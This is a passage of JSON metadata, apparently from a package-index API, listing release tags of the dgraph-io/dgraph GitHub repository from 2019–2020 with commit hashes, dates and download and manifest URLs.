5b9093b8ed16cb2b60d75","kind":"tag","published_at":"2020-06-22T23:32:52.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v20.03.4-rc1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v20.03.4-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v20.03.4-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.03.4-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.03.4-rc1/manifests"},{"name":"v1.2.6-rc1","sha":"2e4112837e3160f800f44b76ff608927fc0ca88e","kind":"tag","published_at":"2020-06-22T22:32:41.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.2.6-rc1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.2.6-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.2.6-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.2.6-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.2.6-rc1/manifests"},{"name":"v20.07.0-beta.Jun15","sha":"197ca026bf3e54da4269a86a13297f29f32ac3ec","kind":"commit","published_at":"2020-06-16T03:41:09.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v20.07.0-beta.Jun15","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v20.07.0-beta.Jun15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v20.07.0-beta.Jun15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.07.0-beta.Jun15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.07.0-beta.Jun15/manifests"},{"name":"v20.03.3","sha":"fa3c19120b14c9c90f2092e282f793206c3c409f","kind":"tag","published_at":"2020-06-03T00:06:54.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v20.03.3","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v20.03.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v20.03.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.03.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.03.3/manifests"},{"name":"v1.2.5","sha":"cfd3454dd6cdf7dfcda3e9409c8013483ac575c2","kind":"tag","published_at":"2020-06-02T23:47:59.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.2.5","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.2.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.2.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.2.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.2.5/manifests"},{"name":"v20.03.3-rc1","sha":"67f0e694731e7a6dd717e0595701013822f1e370","kind":"tag","published_at":"2020-05-29T01:26:34.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v20.03.3-rc1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v20.03.3-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v20.03.3-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.03.3-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.03.3-rc1/manifests"},{"name":"v1.2.5-rc1","sha":"06b04af46fda473c55bd67872ae668986bfba6a7","kind":"tag","published_at":"2020-05-29T00:26:24.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.2.5-rc1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.2.5-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.2.5-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.2.5-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.2.5-rc1/manifests"},{"name":"v20.03.2","sha":"7553f0deaf8fb9df1b071b707be9300fc6b19813","kind":"tag","published_at":"2020-05-15T22:52:59.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v20.03.2","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v20.03.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v20.03.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.03.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.03.2/manifests"},{"name":"v1.2.4","sha":"b51171c4a08af9e8fd446b2e4fa5fa542733de0f","kind":"tag","published_at":"2020-05-15T22:52:29.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.2.4","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.2.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.2.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.2.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.2.4/manifests"},{"name":"v20.03.1","sha":"c201611d652d01089a40c6cf85d0726c6a1ffbb7","kind":"tag","published_at":"2020-04-24T22:46:01.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v20.03.1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v20.03.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v20.03.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.03.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.03.1/manifests"},{"name":"v1.2.3","sha":"9da1a75d2f40f0039801e6ce7cf24fd551ce15bb","kind":"tag","published_at":"2020-04-24T22:01:01.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.2.3","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.2.3/manifests"},{"name":"v1.0.14-3","sha":"6f031333f5f3aa1ba59171fcd490636625c11379","kind":"tag","published_at":"2020-04-08T19:53:17.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.14-3","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.14-3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.14-3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.14-3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.14-3/manifests"},{"name":"v20.03.0","sha":"147c8df9d8893e86c6e70a35b48eb6d88a045af2","kind":"tag","published_at":"2020-03-31T00:29:19.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v20.03.0","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v20.03.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v20.03.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.03.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.03.0/manifests"},{"name":"v20.03.0-beta.20200320","sha":"cc10d2adbe275a8f7bbff43b53a7649bb0478dd7","kind":"commit","published_at":"2020-03-20T23:18:05.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v20.03.0-beta.20200320","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v20.03.0-beta.20200320","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v20.03.0-beta.20200320","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.03.0-beta.20200320","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.03.0-beta.20200320/manifests"},{"name":"v1.2.2","sha":"21cc8936de30df433f6ccf01f8eaf1415fc0b391","kind":"commit","published_at":"2020-03-19T19:13:11.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.2.2","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.2.2/manifests"},{"name":"v1.0.14-opencensus-2","sha":"7374596580de7871ffbf723898fb05887e8be202","kind":"commit","published_at":"2020-02-25T18:54:11.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.14-opencensus-2","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.14-opencensus-2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.14-opencensus-2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.14-opencensus-2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.14-opencensus-2/manifests"},{"name":"v2.0.0-rc1","sha":"a4af81a364d255a689bcf3d0c0ac481433eee450","kind":"commit","published_at":"2020-02-15T01:05:06.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v2.0.0-rc1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v2.0.0-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v2.0.0-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v2.0.0-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v2.0.0-rc1/manifests"},{"name":"v1.2.1","sha":"ddcda929603a021c131fcf7fcbd9927efb84bf8d","kind":"tag","published_at":"2020-02-06T23:35:44.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.2.1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.2.1/manifests"},{"name":"v2.0.0-beta1","sha":"6fac5d7c4b1eef543ad4ca8e3047c28cd9538c6e","kind":"tag","published_at":"2020-01-30T20:07:43.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v2.0.0-beta1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v2.0.0-beta1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v2.0.0-beta1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v2.0.0-beta1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v2.0.0-beta1/manifests"},{"name":"v1.2.0","sha":"24b4b74397af2dd57f681570e42ca62f865f400c","kind":"commit","published_at":"2020-01-27T23:53:31.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.2.0","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.2.0/manifests"},{"name":"v1.2.0-rc1","sha":"1b8347201afce7dd5c1948eea7350cd5c40dc819","kind":"tag","published_at":"2020-01-14T23:41:31.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.2.0-rc1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.2.0-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.2.0-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.2.0-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.2.0-rc1/manifests"},{"name":"v1.1.1","sha":"8994a5740c5edd67706d059adba15364ac0253bc","kind":"tag","published_at":"2019-12-17T02:26:53.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.1.1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.1.1/manifests"},{"name":"v1.0.18","sha":"4cc8bd9e18c5b26f454a77b48c0027436c60fb58","kind":"tag","published_at":"2019-12-17T01:53:29.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.18","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.18/manifests"},{"name":"v1.1.1-rc2","sha":"2612508196d823cd86c8a172b7dfb7e3828990fc","kind":"tag","published_at":"2019-12-11T22:55:47.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.1.1-rc2","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.1.1-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.1.1-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.1.1-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.1.1-rc2/manifests"},{"name":"v1.1.1-rc1","sha":"b69c834717049f21a05894dd37bf1e2ffd5739ab","kind":"tag","published_at":"2019-12-06T23:39:42.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.1.1-rc1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.1.1-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.1.1-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.1.1-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.1.1-rc1/manifests"},{"name":"v1.0.18-rc4","sha":"f6f3b5a3725178e173350cfdbe4aa8576477a6cc","kind":"tag","published_at":"2019-10-24T18:20:46.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.18-rc4","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.18-rc4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.18-rc4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.18-rc4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.18-rc4/manifests"},{"name":"v1.0.18-rc3","sha":"36cf0191f88c1811212280146b4bbb93218e9a54","kind":"tag","published_at":"2019-10-22T02:26:52.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.18-rc3","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.18-rc3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.18-rc3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.18-rc3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.18-rc3/manifests"},{"name":"v1.0.18-rc2","sha":"747ee5cd92f6159b85f13ca1e6fdc68616bacbb9","kind":"tag","published_at":"2019-09-26T21:02:31.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.18-rc2","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.18-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.18-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.18-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.18-rc2/manifests"},{"name":"v1.0.18-rc1","sha":"962b0dd091afada98ae349a46aad762c73373c00","kind":"commit","published_at":"2019-09-05T05:18:08.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.18-rc1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.18-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.18-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.18-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.18-rc1/manifests"},{"name":"v1.0.14-opencensus","sha":"e181be6fab4b2802a005dce4e3006b74ca7d528a","kind":"tag","published_at":"2019-09-04T22:13:00.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.14-opencensus","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.14-opencensus","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.14-opencensus","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.14-opencensus","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.14-opencensus/manifests"},{"name":"v1.1.0","sha":"ef7cdb287c3242b9350765bc7e87f5e2924c84af","kind":"tag","published_at":"2019-09-04T07:13:12.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.1.0","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.1.0/manifests"},{"name":"v1.0.17","sha":"42deb29988a6cb8ca59fd9cec218ae1ed5db56b4","kind":"tag","published_at":"2019-08-30T19:47:58.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.17","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.17/manifests"},{"name":"v1.1.0-rc3","sha":"7cbdaecef8c2325437a4050b6bc2446776530579","kind":"tag","published_at":"2019-08-28T02:57:23.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.1.0-rc3","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.1.0-rc3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.1.0-rc3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.1.0-rc3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.1.0-rc3/manifests"},{"name":"v1.1.0-rc2","sha":"9af081d10c35e68942edf0c3672f77f5329f0c97","kind":"tag","published_at":"2019-08-23T22:44:44.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.1.0-rc2","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.1.0-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.1.0-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.1.0-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.1.0-rc2/manifests"},{"name":"v1.0.13-opencensus","sha":"b196ca3164e65714135d2949bb28b0d9c72c4482","kind":"tag","published_at":"2019-08-14T04:53:53.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.13-opencensus","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.13-opencensus","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.13-opencensus","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.13-opencensus","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.13-opencensus/manifests"},{"name":"v1.1.0-rc1","sha":"e63b85b882e8c0b9810161962f956405386352e7","kind":"tag","published_at":"2019-08-09T20:35:22.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.1.0-rc1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.1.0-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.1.0-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.1.0-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.1.0-rc1/manifests"},{"name":"v1.0.16","sha":"0590ee95d6fde75eff5f97370dd087e9a0d44158","kind":"tag","published_at":"2019-07-11T18:54:21.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.16","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.16/manifests"},{"name":"v1.0.15","sha":"ff5ee1e27df1a0d8adcaeec588382a9d37cc44e3","kind":"tag","published_at":"2019-05-30T23:18:50.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.15","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.15/manifests"},{"name":"v1.0.15-rc9","sha":"827ef302c9159260d4727c3dc9258d493965b93a","kind":"tag","published_at":"2019-05-22T22:48:08.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.15-rc9","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.15-rc9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.15-rc9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.15-rc9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.15-rc9/manifests"},{"name":"v1.0.15-rc8","sha":"50a973b09cf016e553a17118229e34b85df6a813","kind":"tag","published_at":"2019-05-22T01:21:59.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.15-rc8","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.15-rc8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.15-rc8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.15-rc8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.15-rc8/manifests"},{"name":"v1.0.15-rc7","sha":"79177506644560b44e55b4a8f6fcff0250d77f5e","kind":"tag","published_at":"2019-05-15T01:42:12.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.15-rc7","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.15-rc7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.15-rc7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.15-rc7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.15-rc7/manifests"},{"name":"v1.0.15-rc6","sha":"2e5b04a4b96d6ba6bd73e1d604ad126df82b4b7e","kind":"tag","published_at":"2019-05-10T01:54:42.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.15-rc6","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.15-rc6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.15-rc6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.15-rc6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.15-rc6/manifests"},{"name":"v1.0.15-rc5","sha":"8578b5739d35002a08bbe0e0eff7465725f81b45","kind":"tag","published_at":"2019-05-09T03:16:42.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.15-rc5","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.15-rc5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.15-rc5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.15-rc5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/rep